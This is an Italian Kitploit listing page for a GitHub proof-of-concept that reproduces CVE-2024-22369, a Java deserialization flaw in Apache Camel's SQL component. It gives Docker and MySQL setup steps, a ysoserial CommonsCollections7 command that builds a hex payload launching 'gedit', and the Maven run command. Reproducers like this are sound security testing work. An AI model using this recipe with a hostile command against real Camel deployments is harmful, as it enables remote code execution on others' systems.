Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-22369 — CVE-2024-22369 Riproduttore | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2024-22369
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadSicurezza dei Database
GitHuboscerd/cve-2024-22369

CVE-2024-22369

CVE-2024-22369 Riproduttore

Vedi Repository
41142 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-22369

Crediti

Questa POC si basa sul riproduttore creato da Ziyang Chen dell'HuaWei Open Source Management Center

Il riproduttore è stato utilizzato per creare questa PoC, con alcune modifiche e ripuliture, ed è stato anche arricchito con ulteriore automazione.

Preparare l'ambiente

Avremo bisogno di un'istanza Mysql

docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql

Ora dovremo creare le tabelle richieste:

Hai due file: employee.sql e employee_completed.sql

Esegui il seguente comando:

docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p

Inserisci la password, esegui USE db e i due file SQL.

A questo punto hai già tutto il necessario per riprodurre la deserializzazione.

Esegui il seguente comando

docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql

e prendi nota dell'indirizzo.

Ora modifica il file src/main/resources/application.properties in base allo stato del tuo ambiente.

Payload

Il payload che stiamo usando si basa su commons-collections 3.2.1.

Dovrai usare:

https://github.com/frohoff/ysoserial

Dalla riga di comando puoi ricreare il payload in questo modo:

java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p

Questo restituirà la versione Hex del payload. L'idea è quella di eseguire il comando gedit durante la deserializzazione.

Puoi provare diversi payload e modificare gli script SQL cambiando l'istruzione INSERT e aggiungendo i nuovi payload generati.

Esecuzione

Per riprodurre il comportamento, seleziona prima di tutto un JDK 17 (localmente o tramite SDKMan).

Quindi esegui il seguente comando:

mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run

Questo produrrà il seguente output:

Scarica lo strumento